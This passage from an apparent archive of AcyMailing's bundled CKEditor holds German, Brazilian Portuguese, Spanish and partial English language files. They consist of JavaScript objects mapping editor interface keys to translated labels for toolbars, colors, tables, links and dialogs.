sein.","invalidCellPadding":"Der Zellenabstand innen muß eine positive Zahl sein.","invalidCellSpacing":"Der Zellenabstand außen muß eine positive Zahl sein.","invalidCols":"Die Anzahl der Spalten muß größer als 0 sein..","invalidHeight":"Die Tabellenbreite muß eine Zahl sein.","invalidRows":"Die Anzahl der Zeilen muß größer als 0 sein.","invalidWidth":"Die Tabellenbreite muss eine Zahl sein.","menu":"Tabellen-Eigenschaften","row":{"menu":"Zeile","insertBefore":"Zeile oberhalb einfügen","insertAfter":"Zeile unterhalb einfügen","deleteRow":"Zeile entfernen"},"rows":"Zeile","summary":"Inhaltsübersicht","title":"Tabellen-Eigenschaften","toolbar":"Tabelle","widthPc":"%","widthPx":"Pixel","widthUnit":"Breite Einheit"},"toolbar":{"toolbarCollapse":"Symbolleiste einklappen","toolbarExpand":"Symbolleiste ausklappen","toolbarGroups":{"document":"Dokument","clipboard":"Zwischenablage/Rückgängig","editing":"Editieren","forms":"Formularen","basicstyles":"Grundstile","paragraph":"Absatz","links":"Links","insert":"Einfügen","styles":"Stile","colors":"Farben","tools":"Werkzeuge"},"toolbars":"Editor Symbolleisten"},"undo":{"redo":"Wiederherstellen","undo":"Rückgängig"},"sourcedialog":{"toolbar":"Quellcode","title":"Quellcode"},"acymediabrowser":{"toolbar":"Bild"},"addtag":{"toolbar":"Schlagworte"},"smiley":{"toolbar":"Emojis"}};
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/lang/pt-br.js000060400000027422152455305310024374 0ustar00CKEDITOR.lang['pt-br']={"editor":"Editor de Rich Text","editorPanel":"Painel do editor de Rich Text","common":{"editorHelp":"Pressione ALT+0 para ajuda","browseServer":"Localizar no Servidor","url":"URL","protocol":"Protocolo","upload":"Enviar ao Servidor","uploadSubmit":"Enviar para o Servidor","image":"Imagem","flash":"Flash","form":"Formulário","checkbox":"Caixa de Seleção","radio":"Botão de Opção","textField":"Caixa de Texto","textarea":"Área de Texto","hiddenField":"Campo Oculto","button":"Botão","select":"Caixa de Listagem","imageButton":"Botão de Imagem","notSet":"<não ajustado>","id":"Id","name":"Nome","langDir":"Direção do idioma","langDirLtr":"Esquerda para Direita (LTR)","langDirRtl":"Direita para Esquerda (RTL)","langCode":"Idioma","longDescr":"Descrição da URL","cssClass":"Classe de CSS","advisoryTitle":"Título","cssStyle":"Estilos","ok":"OK","cancel":"Cancelar","close":"Fechar","preview":"Visualizar","resize":"Arraste para redimensionar","generalTab":"Geral","advancedTab":"Avançado","validateNumberFailed":"Este valor não é um número.","confirmNewPage":"Todas as mudanças não salvas serão perdidas. Tem certeza de que quer abrir uma nova página?","confirmCancel":"Algumas opções foram alteradas. Tem certeza de que quer fechar a caixa de diálogo?","options":"Opções","target":"Destino","targetNew":"Nova Janela (_blank)","targetTop":"Janela de Cima (_top)","targetSelf":"Mesma Janela (_self)","targetParent":"Janela Pai (_parent)","langDirLTR":"Esquerda para Direita (LTR)","langDirRTL":"Direita para Esquerda (RTL)","styles":"Estilo","cssClasses":"Classes","width":"Largura","height":"Altura","align":"Alinhamento","alignLeft":"Esquerda","alignRight":"Direita","alignCenter":"Centralizado","alignJustify":"Justificar","alignTop":"Superior","alignMiddle":"Centralizado","alignBottom":"Inferior","alignNone":"Nenhum","invalidValue":"Valor inválido.","invalidHeight":"A altura tem que ser um número","invalidWidth":"A largura tem que ser um número.","invalidCssLength":"O valor do campo \"%1\" deve ser um número positivo opcionalmente seguido por uma válida unidade de medida de CSS (px, %, in, cm, mm, em, ex, pt ou pc).","invalidHtmlLength":"O valor do campo \"%1\" deve ser um número positivo opcionalmente seguido por uma válida unidade de medida de HTML (px ou %).","invalidInlineStyle":"O valor válido para estilo deve conter uma ou mais tuplas no formato \"nome : valor\", separados por ponto e vírgula.","cssLengthTooltip":"Insira um número para valor em pixels ou um número seguido de uma válida unidade de medida de CSS (px, %, in, cm, mm, em, ex, pt ou pc).","unavailable":"%1<span class=\"cke_accessibility\">, indisponível</span>"},"basicstyles":{"bold":"Negrito","italic":"Itálico","strike":"Tachado","subscript":"Subscrito","superscript":"Sobrescrito","underline":"Sublinhado"},"blockquote":{"toolbar":"Citação"},"clipboard":{"copy":"Copiar","copyError":"As configurações de segurança do seu navegador não permitem que o editor execute operações de copiar automaticamente. Por favor, utilize o teclado para copiar (Ctrl/Cmd+C).","cut":"Recortar","cutError":"As configurações de segurança do seu navegador não permitem que o editor execute operações de recortar automaticamente. Por favor, utilize o teclado para recortar (Ctrl/Cmd+X).","paste":"Colar","pasteArea":"Área para Colar","pasteMsg":"Transfira o link usado na caixa usando o teclado com (<STRONG>Ctrl/Cmd+V</STRONG>) e <STRONG>OK</STRONG>.","securityMsg":"As configurações de segurança do seu navegador não permitem que o editor acesse os dados da área de transferência diretamente. Por favor cole o conteúdo manualmente nesta janela.","title":"Colar"},"button":{"selectedLabel":"%1 (Selecionado)"},"colorbutton":{"auto":"Automático","bgColorTitle":"Cor do Plano de Fundo","colors":{"000":"Preto","800000":"Foquete","8B4513":"Marrom 1","2F4F4F":"Cinza 1","008080":"Cerceta","000080":"Azul Marinho","4B0082":"Índigo","696969":"Cinza 2","B22222":"Tijolo de Fogo","A52A2A":"Marrom 2","DAA520":"Vara Dourada","006400":"Verde Escuro","40E0D0":"Turquesa","0000CD":"Azul Médio","800080":"Roxo","808080":"Cinza 3","F00":"Vermelho","FF8C00":"Laranja Escuro","FFD700":"Dourado","008000":"Verde","0FF":"Ciano","00F":"Azul","EE82EE":"Violeta","A9A9A9":"Cinza Escuro","FFA07A":"Salmão Claro","FFA500":"Laranja","FFFF00":"Amarelo","00FF00":"Lima","AFEEEE":"Turquesa Pálido","ADD8E6":"Azul Claro","DDA0DD":"Ameixa","D3D3D3":"Cinza Claro","FFF0F5":"Lavanda 1","FAEBD7":"Branco Antiguidade","FFFFE0":"Amarelo Claro","F0FFF0":"Orvalho","F0FFFF":"Azure","F0F8FF":"Azul Alice","E6E6FA":"Lavanda 2","FFF":"Branco"},"more":"Mais Cores...","panelTitle":"Cores","textColorTitle":"Cor do Texto"},"colordialog":{"clear":"Limpar","highlight":"Grifar","options":"Opções de Cor","selected":"Cor Selecionada","title":"Selecione uma Cor"},"contextmenu":{"options":"Opções Menu de Contexto"},"elementspath":{"eleLabel":"Caminho dos Elementos","eleTitle":"Elemento %1"},"font":{"fontSize":{"label":"Tamanho","voiceLabel":"Tamanho da fonte","panelTitle":"Tamanho"},"label":"Fonte","panelTitle":"Fonte","voiceLabel":"Fonte"},"format":{"label":"Formatação","panelTitle":"Formatação","tag_address":"Endereço","tag_div":"Normal (DIV)","tag_h1":"Título 1","tag_h2":"Título 2","tag_h3":"Título 3","tag_h4":"Título 4","tag_h5":"Título 5","tag_h6":"Título 6","tag_p":"Normal","tag_pre":"Formatado"},"horizontalrule":{"toolbar":"Inserir Linha Horizontal"},"image":{"alertUrl":"Por favor, digite a URL da imagem.","alt":"Texto Alternativo","border":"Borda","btnUpload":"Enviar para o Servidor","button2Img":"Deseja transformar o botão de imagem em uma imagem comum?","hSpace":"HSpace","img2Button":"Deseja transformar a imagem em um botão de imagem?","infoTab":"Informações da Imagem","linkTab":"Link","lockRatio":"Travar Proporções","menu":"Formatar Imagem","resetSize":"Redefinir para o Tamanho Original","title":"Formatar Imagem","titleButton":"Formatar Botão de Imagem","upload":"Enviar","urlMissing":"URL da imagem está faltando.","vSpace":"VSpace","validateBorder":"A borda deve ser um número inteiro.","validateHSpace":"O HSpace deve ser um número inteiro.","validateVSpace":"O VSpace deve ser um número inteiro."},"indent":{"indent":"Aumentar Recuo","outdent":"Diminuir Recuo"},"justify":{"block":"Justificado","center":"Centralizar","left":"Alinhar Esquerda","right":"Alinhar Direita"},"fakeobjects":{"anchor":"Âncora","flash":"Animação em Flash","hiddenfield":"Campo Oculto","iframe":"IFrame","unknown":"Objeto desconhecido"},"link":{"acccessKey":"Chave de Acesso","advanced":"Avançado","advisoryContentType":"Tipo de Conteúdo","advisoryTitle":"Título","anchor":{"toolbar":"Inserir/Editar Âncora","menu":"Formatar Âncora","title":"Formatar Âncora","name":"Nome da Âncora","errorName":"Por favor, digite o nome da âncora","remove":"Remover Âncora"},"anchorId":"Id da âncora","anchorName":"Nome da âncora","charset":"Charset do Link","cssClasses":"Classe de CSS","emailAddress":"Endereço E-Mail","emailBody":"Corpo da Mensagem","emailSubject":"Assunto da Mensagem","id":"Id","info":"Informações","langCode":"Direção do idioma","langDir":"Direção do idioma","langDirLTR":"Esquerda para Direita (LTR)","langDirRTL":"Direita para Esquerda (RTL)","menu":"Editar Link","name":"Nome","noAnchors":"(Não há âncoras no documento)","noEmail":"Por favor, digite o endereço de e-mail","noUrl":"Por favor, digite o endereço do Link","other":"<outro>","popupDependent":"Dependente (Netscape)","popupFeatures":"Propriedades da Janela Pop-up","popupFullScreen":"Modo Tela Cheia (IE)","popupLeft":"Esquerda","popupLocationBar":"Barra de Endereços","popupMenuBar":"Barra de Menus","popupResizable":"Redimensionável","popupScrollBars":"Barras de Rolagem","popupStatusBar":"Barra de Status","popupToolbar":"Barra de Ferramentas","popupTop":"Topo","rel":"Tipo de Relação","selectAnchor":"Selecione uma âncora","styles":"Estilos","tabIndex":"Índice de Tabulação","target":"Destino","targetFrame":"<frame>","targetFrameName":"Nome do Frame de Destino","targetPopup":"<janela popup>","targetPopupName":"Nome da Janela Pop-up","title":"Editar Link","toAnchor":"Âncora nesta página","toEmail":"E-Mail","toUrl":"URL","toolbar":"Inserir/Editar Link","type":"Tipo de hiperlink","unlink":"Remover Link","upload":"Enviar ao Servidor"},"list":{"bulletedlist":"Lista sem números","numberedlist":"Lista numerada"},"maximize":{"maximize":"Maximizar","minimize":"Minimize"},"pastefromword":{"confirmCleanup":"O texto que você deseja colar parece ter sido copiado do Word. Você gostaria de remover a formatação antes de colar?","error":"Não foi possível limpar os dados colados devido a um erro interno","title":"Colar do Word","toolbar":"Colar do Word"},"pastetext":{"button":"Colar como Texto sem Formatação","title":"Colar como Texto sem Formatação"},"removeformat":{"toolbar":"Remover Formatação"},"sourcearea":{"toolbar":"Código-Fonte"},"stylescombo":{"label":"Estilo","panelTitle":"Estilos de Formatação","panelTitle1":"Estilos de bloco","panelTitle2":"Estilos de texto corrido","panelTitle3":"Estilos de objeto"},"table":{"border":"Borda","caption":"Legenda","cell":{"menu":"Célula","insertBefore":"Inserir célula a esquerda","insertAfter":"Inserir célula a direita","deleteCell":"Remover Células","merge":"Mesclar Células","mergeRight":"Mesclar com célula a direita","mergeDown":"Mesclar com célula abaixo","splitHorizontal":"Dividir célula horizontalmente","splitVertical":"Dividir célula verticalmente","title":"Propriedades da célula","cellType":"Tipo de célula","rowSpan":"Linhas cobertas","colSpan":"Colunas cobertas","wordWrap":"Quebra de palavra","hAlign":"Alinhamento horizontal","vAlign":"Alinhamento vertical","alignBaseline":"Patamar de alinhamento","bgColor":"Cor de fundo","borderColor":"Cor das bordas","data":"Dados","header":"Cabeçalho","yes":"Sim","no":"Não","invalidWidth":"A largura da célula tem que ser um número.","invalidHeight":"A altura da célula tem que ser um número.","invalidRowSpan":"Linhas cobertas tem que ser um número inteiro.","invalidColSpan":"Colunas cobertas tem que ser um número inteiro.","chooseColor":"Escolher"},"cellPad":"Margem interna","cellSpace":"Espaçamento","column":{"menu":"Coluna","insertBefore":"Inserir coluna a esquerda","insertAfter":"Inserir coluna a direita","deleteColumn":"Remover Colunas"},"columns":"Colunas","deleteTable":"Apagar Tabela","headers":"Cabeçalho","headersBoth":"Ambos","headersColumn":"Primeira coluna","headersNone":"Nenhum","headersRow":"Primeira linha","invalidBorder":"O tamanho da borda tem que ser um número.","invalidCellPadding":"A margem interna das células tem que ser um número.","invalidCellSpacing":"O espaçamento das células tem que ser um número.","invalidCols":"O número de colunas tem que ser um número maior que 0.","invalidHeight":"A altura da tabela tem que ser um número.","invalidRows":"O número de linhas tem que ser um número maior que 0.","invalidWidth":"A largura da tabela tem que ser um número.","menu":"Formatar Tabela","row":{"menu":"Linha","insertBefore":"Inserir linha acima","insertAfter":"Inserir linha abaixo","deleteRow":"Remover Linhas"},"rows":"Linhas","summary":"Resumo","title":"Formatar Tabela","toolbar":"Tabela","widthPc":"%","widthPx":"pixels","widthUnit":"unidade largura"},"toolbar":{"toolbarCollapse":"Diminuir Barra de Ferramentas","toolbarExpand":"Aumentar Barra de Ferramentas","toolbarGroups":{"document":"Documento","clipboard":"Clipboard/Desfazer","editing":"Edição","forms":"Formulários","basicstyles":"Estilos Básicos","paragraph":"Paragrafo","links":"Links","insert":"Inserir","styles":"Estilos","colors":"Cores","tools":"Ferramentas"},"toolbars":"Barra de Ferramentas do Editor"},"undo":{"redo":"Refazer","undo":"Desfazer"},"sourcedialog":{"toolbar":"Código-Fonte","title":"Código-Fonte"},"acymediabrowser":{"toolbar":"Imagem"},"addtag":{"toolbar":"Etiqueta"},"smiley":{"toolbar":"Emojis"}};
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/lang/es.js000060400000027624152455305310023763 0ustar00CKEDITOR.lang['es']={"editor":"Editor de texto enriquecido","editorPanel":"Panel del Editor de Texto Enriquecido","common":{"editorHelp":"Pulse ALT 0 para ayuda","browseServer":"Ver Servidor","url":"URL","protocol":"Protocolo","upload":"Cargar","uploadSubmit":"Enviar al Servidor","image":"Imagen","flash":"Flash","form":"Formulario","checkbox":"Casilla de Verificación","radio":"Botones de Radio","textField":"Campo de Texto","textarea":"Area de Texto","hiddenField":"Campo Oculto","button":"Botón","select":"Campo de Selección","imageButton":"Botón Imagen","notSet":"<No definido>","id":"Id","name":"Nombre","langDir":"Orientación","langDirLtr":"Izquierda a Derecha (LTR)","langDirRtl":"Derecha a Izquierda (RTL)","langCode":"Cód. de idioma","longDescr":"Descripción larga URL","cssClass":"Clases de hojas de estilo","advisoryTitle":"Título","cssStyle":"Estilo","ok":"Aceptar","cancel":"Cancelar","close":"Cerrar","preview":"Previsualización","resize":"Arrastre para redimensionar","generalTab":"General","advancedTab":"Avanzado","validateNumberFailed":"El valor no es un número.","confirmNewPage":"Cualquier cambio que no se haya guardado se perderá.\r\n¿Está seguro de querer crear una nueva página?","confirmCancel":"Algunas de las opciones se han cambiado.\r\n¿Está seguro de querer cerrar el diálogo?","options":"Opciones","target":"Destino","targetNew":"Nueva ventana (_blank)","targetTop":"Ventana principal (_top)","targetSelf":"Misma ventana (_self)","targetParent":"Ventana padre (_parent)","langDirLTR":"Izquierda a derecha (LTR)","langDirRTL":"Derecha a izquierda (RTL)","styles":"Estilos","cssClasses":"Clase de la hoja de estilos","width":"Anchura","height":"Altura","align":"Alineación","alignLeft":"Izquierda","alignRight":"Derecha","alignCenter":"Centrado","alignJustify":"Justificado","alignTop":"Tope","alignMiddle":"Centro","alignBottom":"Pie","alignNone":"None","invalidValue":"Valor no válido","invalidHeight":"Altura debe ser un número.","invalidWidth":"Anchura debe ser un número.","invalidCssLength":"El valor especificado para el campo \"%1\" debe ser un número positivo, incluyendo optionalmente una unidad de medida CSS válida (px, %, in, cm, mm, em, ex, pt, o pc).","invalidHtmlLength":"El valor especificado para el campo \"%1\" debe ser un número positivo, incluyendo optionalmente una unidad de medida HTML válida (px o %).","invalidInlineStyle":"El valor especificado para el estilo debe consistir en uno o más pares con el formato \"nombre: valor\", separados por punto y coma.","cssLengthTooltip":"Introduca un número para el valor en pixels o un número con una unidad de medida CSS válida (px, %, in, cm, mm, em, ex, pt, o pc).","unavailable":"%1<span class=\"cke_accessibility\">, no disponible</span>"},"basicstyles":{"bold":"Negrita","italic":"Cursiva","strike":"Tachado","subscript":"Subíndice","superscript":"Superíndice","underline":"Subrayado"},"blockquote":{"toolbar":"Cita"},"clipboard":{"copy":"Copiar","copyError":"La configuración de seguridad de este navegador no permite la ejecución automática de operaciones de copiado.\r\nPor favor use el teclado (Ctrl/Cmd+C).","cut":"Cortar","cutError":"La configuración de seguridad de este navegador no permite la ejecución automática de operaciones de cortado.\r\nPor favor use el teclado (Ctrl/Cmd+X).","paste":"Pegar","pasteArea":"Zona de pegado","pasteMsg":"Por favor pegue dentro del cuadro utilizando el teclado (<STRONG>Ctrl/Cmd+V</STRONG>);\r\nluego presione <STRONG>Aceptar</STRONG>.","securityMsg":"Debido a la configuración de seguridad de su navegador, el editor no tiene acceso al portapapeles.\r\nEs necesario que lo pegue de nuevo en esta ventana.","title":"Pegar"},"button":{"selectedLabel":"%1 (Selected)"},"colorbutton":{"auto":"Automático","bgColorTitle":"Color de Fondo","colors":{"000":"Negro","800000":"Marrón oscuro","8B4513":"Marrón tierra","2F4F4F":"Pizarra Oscuro","008080":"Azul verdoso","000080":"Azul marino","4B0082":"Añil","696969":"Gris oscuro","B22222":"Ladrillo","A52A2A":"Marrón","DAA520":"Oro oscuro","006400":"Verde oscuro","40E0D0":"Turquesa","0000CD":"Azul medio-oscuro","800080":"Púrpura","808080":"Gris","F00":"Rojo","FF8C00":"Naranja oscuro","FFD700":"Oro","008000":"Verde","0FF":"Cian","00F":"Azul","EE82EE":"Violeta","A9A9A9":"Gris medio","FFA07A":"Salmón claro","FFA500":"Naranja","FFFF00":"Amarillo","00FF00":"Lima","AFEEEE":"Turquesa claro","ADD8E6":"Azul claro","DDA0DD":"Violeta claro","D3D3D3":"Gris claro","FFF0F5":"Lavanda rojizo","FAEBD7":"Blanco antiguo","FFFFE0":"Amarillo claro","F0FFF0":"Miel","F0FFFF":"Azul celeste","F0F8FF":"Azul pálido","E6E6FA":"Lavanda","FFF":"Blanco"},"more":"Más Colores...","panelTitle":"Colores","textColorTitle":"Color de Texto"},"colordialog":{"clear":"Borrar","highlight":"Muestra","options":"Opciones de colores","selected":"Elegido","title":"Elegir color"},"contextmenu":{"options":"Opciones del menú contextual"},"elementspath":{"eleLabel":"Ruta de los elementos","eleTitle":"%1 elemento"},"font":{"fontSize":{"label":"Tamaño","voiceLabel":"Tamaño de fuente","panelTitle":"Tamaño"},"label":"Fuente","panelTitle":"Fuente","voiceLabel":"Fuente"},"format":{"label":"Formato","panelTitle":"Formato","tag_address":"Dirección","tag_div":"Normal (DIV)","tag_h1":"Encabezado 1","tag_h2":"Encabezado 2","tag_h3":"Encabezado 3","tag_h4":"Encabezado 4","tag_h5":"Encabezado 5","tag_h6":"Encabezado 6","tag_p":"Normal","tag_pre":"Con formato"},"horizontalrule":{"toolbar":"Insertar Línea Horizontal"},"image":{"alertUrl":"Por favor escriba la URL de la imagen","alt":"Texto Alternativo","border":"Borde","btnUpload":"Enviar al Servidor","button2Img":"¿Desea convertir el botón de imagen en una simple imagen?","hSpace":"Esp.Horiz","img2Button":"¿Desea convertir la imagen en un botón de imagen?","infoTab":"Información de Imagen","linkTab":"Vínculo","lockRatio":"Proporcional","menu":"Propiedades de Imagen","resetSize":"Tamaño Original","title":"Propiedades de Imagen","titleButton":"Propiedades de Botón de Imagen","upload":"Cargar","urlMissing":"Debe indicar la URL de la imagen.","vSpace":"Esp.Vert","validateBorder":"El borde debe ser un número.","validateHSpace":"El espaciado horizontal debe ser un número.","validateVSpace":"El espaciado vertical debe ser un número."},"indent":{"indent":"Aumentar Sangría","outdent":"Disminuir Sangría"},"justify":{"block":"Justificado","center":"Centrar","left":"Alinear a Izquierda","right":"Alinear a Derecha"},"fakeobjects":{"anchor":"Ancla","flash":"Animación flash","hiddenfield":"Campo oculto","iframe":"IFrame","unknown":"Objeto desconocido"},"link":{"acccessKey":"Tecla de Acceso","advanced":"Avanzado","advisoryContentType":"Tipo de Contenido","advisoryTitle":"Título","anchor":{"toolbar":"Referencia","menu":"Propiedades de Referencia","title":"Propiedades de Referencia","name":"Nombre de la Referencia","errorName":"Por favor, complete el nombre de la Referencia","remove":"Quitar Referencia"},"anchorId":"Por ID de elemento","anchorName":"Por Nombre de Referencia","charset":"Fuente de caracteres vinculado","cssClasses":"Clases de hojas de estilo","emailAddress":"Dirección de E-Mail","emailBody":"Cuerpo del Mensaje","emailSubject":"Título del Mensaje","id":"Id","info":"Información de Vínculo","langCode":"Código idioma","langDir":"Orientación","langDirLTR":"Izquierda a Derecha (LTR)","langDirRTL":"Derecha a Izquierda (RTL)","menu":"Editar Vínculo","name":"Nombre","noAnchors":"(No hay referencias disponibles en el documento)","noEmail":"Por favor escriba la dirección de e-mail","noUrl":"Por favor escriba el vínculo URL","other":"<otro>","popupDependent":"Dependiente (Netscape)","popupFeatures":"Características de Ventana Emergente","popupFullScreen":"Pantalla Completa (IE)","popupLeft":"Posición Izquierda","popupLocationBar":"Barra de ubicación","popupMenuBar":"Barra de Menú","popupResizable":"Redimensionable","popupScrollBars":"Barras de desplazamiento","popupStatusBar":"Barra de Estado","popupToolbar":"Barra de Herramientas","popupTop":"Posición Derecha","rel":"Relación","selectAnchor":"Seleccionar una referencia","styles":"Estilo","tabIndex":"Indice de tabulación","target":"Destino","targetFrame":"<marco>","targetFrameName":"Nombre del Marco Destino","targetPopup":"<ventana emergente>","targetPopupName":"Nombre de Ventana Emergente","title":"Vínculo","toAnchor":"Referencia en esta página","toEmail":"E-Mail","toUrl":"URL","toolbar":"Insertar/Editar Vínculo","type":"Tipo de vínculo","unlink":"Eliminar Vínculo","upload":"Cargar"},"list":{"bulletedlist":"Viñetas","numberedlist":"Numeración"},"maximize":{"maximize":"Maximizar","minimize":"Minimizar"},"pastefromword":{"confirmCleanup":"El texto que desea parece provenir de Word.\r\n¿Desea depurarlo antes de pegarlo?","error":"No ha sido posible limpiar los datos debido a un error interno","title":"Pegar desde Word","toolbar":"Pegar desde Word"},"pastetext":{"button":"Pegar como Texto Plano","title":"Pegar como Texto Plano"},"removeformat":{"toolbar":"Eliminar Formato"},"sourcearea":{"toolbar":"Fuente HTML"},"stylescombo":{"label":"Estilo","panelTitle":"Estilos para formatear","panelTitle1":"Estilos de párrafo","panelTitle2":"Estilos de carácter","panelTitle3":"Estilos de objeto"},"table":{"border":"Tamaño de Borde","caption":"Título","cell":{"menu":"Celda","insertBefore":"Insertar celda a la izquierda","insertAfter":"Insertar celda a la derecha","deleteCell":"Eliminar Celdas","merge":"Combinar Celdas","mergeRight":"Combinar a la derecha","mergeDown":"Combinar hacia abajo","splitHorizontal":"Dividir la celda horizontalmente","splitVertical":"Dividir la celda verticalmente","title":"Propiedades de celda","cellType":"Tipo de Celda","rowSpan":"Expandir filas","colSpan":"Expandir columnas","wordWrap":"Ajustar al contenido","hAlign":"Alineación Horizontal","vAlign":"Alineación Vertical","alignBaseline":"Linea de base","bgColor":"Color de fondo","borderColor":"Color de borde","data":"Datos","header":"Encabezado","yes":"Sí","no":"No","invalidWidth":"La anchura de celda debe ser un número.","invalidHeight":"La altura de celda debe ser un número.","invalidRowSpan":"La expansión de filas debe ser un número entero.","invalidColSpan":"La expansión de columnas debe ser un número entero.","chooseColor":"Elegir"},"cellPad":"Esp. interior","cellSpace":"Esp. e/celdas","column":{"menu":"Columna","insertBefore":"Insertar columna a la izquierda","insertAfter":"Insertar columna a la derecha","deleteColumn":"Eliminar Columnas"},"columns":"Columnas","deleteTable":"Eliminar Tabla","headers":"Encabezados","headersBoth":"Ambas","headersColumn":"Primera columna","headersNone":"Ninguno","headersRow":"Primera fila","invalidBorder":"El tamaño del borde debe ser un número.","invalidCellPadding":"El espaciado interior debe ser un número.","invalidCellSpacing":"El espaciado entre celdas debe ser un número.","invalidCols":"El número de columnas debe ser un número mayor que 0.","invalidHeight":"La altura de tabla debe ser un número.","invalidRows":"El número de filas debe ser un número mayor que 0.","invalidWidth":"La anchura de tabla debe ser un número.","menu":"Propiedades de Tabla","row":{"menu":"Fila","insertBefore":"Insertar fila en la parte superior","insertAfter":"Insertar fila en la parte inferior","deleteRow":"Eliminar Filas"},"rows":"Filas","summary":"Síntesis","title":"Propiedades de Tabla","toolbar":"Tabla","widthPc":"porcentaje","widthPx":"pixeles","widthUnit":"unidad de la anchura"},"toolbar":{"toolbarCollapse":"Contraer barra de herramientas","toolbarExpand":"Expandir barra de herramientas","toolbarGroups":{"document":"Documento","clipboard":"Portapapeles/Deshacer","editing":"Edición","forms":"Formularios","basicstyles":"Estilos básicos","paragraph":"Párrafo","links":"Enlaces","insert":"Insertar","styles":"Estilos","colors":"Colores","tools":"Herramientas"},"toolbars":"Barras de herramientas del editor"},"undo":{"redo":"Rehacer","undo":"Deshacer"},"sourcedialog":{"toolbar":"Fuente HTML","title":"Fuente HTML"},"acymediabrowser":{"toolbar":"Imagen"},"addtag":{"toolbar":"Etiquetas"},"smiley":{"toolbar":"Emojis"}};
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/lang/en.js000060400000025234152455305310023751 0ustar00CKEDITOR.lang['en']={"editor":"Rich Text Editor","editorPanel":"Rich Text Editor panel","common":{"editorHelp":"Press ALT 0 for help","browseServer":"Browse Server","url":"URL","protocol":"Protocol","upload":"Upload","uploadSubmit":"Send it to the Server","image":"Image","flash":"Flash","form":"Form","checkbox":"Checkbox","radio":"Radio Button","textField":"Text Field","textarea":"Textarea","hiddenField":"Hidden Field","button":"Button","select":"Selection Field","imageButton":"Image Button","notSet":"<not set>","id":"Id","name":"Name","langDir":"Language Direction","langDirLtr":"Left to Right (LTR)","langDirRtl":"Right to Left (RTL)","langCode":"Language Code","longDescr":"Long Description URL","cssClass":"Stylesheet Classes","advisoryTitle":"Advisory Title","cssStyle":"Style","ok":"OK","cancel":"Cancel","close":"Close","preview":"Preview","resize":"Resize","generalTab":"General","advancedTab":"Advanced","validateNumberFailed":"This value is not a number.","confirmNewPage":"Any unsaved changes to this content will be lost. Are you sure you want to load new page?","confirmCancel":"You have changed some options. Are you sure you want to close the dialog window?","options":"Options","target":"Target","targetNew":"New Window (_blank)","targetTop":"Topmost Window (_top)","targetSelf":"Same Window (_self)","targetParent":"Parent Window (_parent)","langDirLTR":"Left to Right (LTR)","langDirRTL":"Right to Left (RTL)","styles":"Style","cssClasses":"Stylesheet Classes","width":"Width","height":"Height","align":"Alignment","alignLeft":"Left","alignRight":"Right","alignCenter":"Center","alignJustify":"Justify","alignTop":"Top","alignMiddle":"Middle","alignBottom":"Bottom","alignNone":"None","invalidValue":"Invalid value.","invalidHeight":"Height must be a number.","invalidWidth":"Width must be a number.","invalidCssLength":"Value specified for the \"%1\" field must be a positive number with or without a valid CSS measurement unit (px, %, in, cm, mm, em, ex, pt, or pc).","invalidHtmlLength":"Value specified for the \"%1\" field must be a positive number with or without a valid HTML measurement unit (px or %).","invalidInlineStyle":"Value specified for the inline style must consist of one or more tuples with the format of \"name : value\", separated by semi-colons.","cssLengthTooltip":"Enter a number for a value in pixels or a number with a valid CSS unit (px, %, in, cm, mm, em, ex, pt, or pc).","unavailable":"%1<span class=\"cke_accessibility\">, unavailable</span>"},"basicstyles":{"bold":"Bold","italic":"Italic","strike":"Strikethrough","subscript":"Subscript","superscript":"Superscript","underline":"Underline"},"blockquote":{"toolbar":"Block Quote"},"clipboard":{"copy":"Copy","copyError":"Your browser security settings don't permit the editor to automatically execute copying operations. Please use the keyboard for that (Ctrl/Cmd+C).","cut":"Cut","cutError":"Your browser security settings don't permit the editor to automatically execute cutting operations. Please use the keyboard for that (Ctrl/Cmd+X).","paste":"Paste","pasteArea":"Paste Area","pasteMsg":"Please paste inside the following box using the keyboard (<strong>Ctrl/Cmd+V</strong>) and hit OK","securityMsg":"Because of your browser security settings, the editor is not able to access your clipboard data directly. You are required to paste it again in this window.","title":"Paste"},"button":{"selectedLabel":"%1 (Selected)"},"colorbutton":{"auto":"Automatic","bgColorTitle":"Background Color","colors":{"000":"Black","800000":"Maroon","8B4513":"Saddle Brown","2F4F4F":"Dark Slate Gray","008080":"Teal","000080":"Navy","4B0082":"Indigo","696969":"Dark Gray","B22222":"Fire Brick","A52A2A":"Brown","DAA520":"Golden Rod","006400":"Dark Green","40E0D0":"Turquoise","0000CD":"Medium Blue","800080":"Purple","808080":"Gray","F00":"Red","FF8C00":"Dark Orange","FFD700":"Gold","008000":"Green","0FF":"Cyan","00F":"Blue","EE82EE":"Violet","A9A9A9":"Dim Gray","FFA07A":"Light Salmon","FFA500":"Orange","FFFF00":"Yellow","00FF00":"Lime","AFEEEE":"Pale Turquoise","ADD8E6":"Light Blue","DDA0DD":"Plum","D3D3D3":"Light Grey","FFF0F5":"Lavender Blush","FAEBD7":"Antique White","FFFFE0":"Light Yellow","F0FFF0":"Honeydew","F0FFFF":"Azure","F0F8FF":"Alice Blue","E6E6FA":"Lavender","FFF":"White"},"more":"More Colors...","panelTitle":"Colors","textColorTitle":"Text Color"},"colordialog":{"clear":"Clear","highlight":"Highlight","options":"Color Options","selected":"Selected Color","title":"Select color"},"contextmenu":{"options":"Context Menu Options"},"elementspath":{"eleLabel":"Elements path","eleTitle":"%1 element"},"font":{"fontSize":{"label":"Size","voiceLabel":"Font Size","panelTitle":"Font Size"},"label":"Font","panelTitle":"Font Name","voiceLabel":"Font"},"format":{"label":"Format","panelTitle":"Paragraph Format","tag_address":"Address","tag_div":"Normal (DIV)","tag_h1":"Heading 1","tag_h2":"Heading 2","tag_h3":"Heading 3","tag_h4":"Heading 4","tag_h5":"Heading 5","tag_h6":"Heading 6","tag_p":"Normal","tag_pre":"Formatted"},"horizontalrule":{"toolbar":"Insert Horizontal Line"},"image":{"alertUrl":"Please type the image URL","alt":"Alternative Text","border":"Border","btnUpload":"Send it to the Server","button2Img":"Do you want to transform the selected image button on a simple image?","hSpace":"HSpace","img2Button":"Do you want to transform the selected image on a image button?","infoTab":"Image Info","linkTab":"Link","lockRatio":"Lock Ratio","menu":"Image Properties","resetSize":"Reset Size","title":"Image Properties","titleButton":"Image Button Properties","upload":"Upload","urlMissing":"Image source URL is missing.","vSpace":"VSpace","validateBorder":"Border must be a whole number.","validateHSpace":"HSpace must be a whole number.","validateVSpace":"VSpace must be a whole 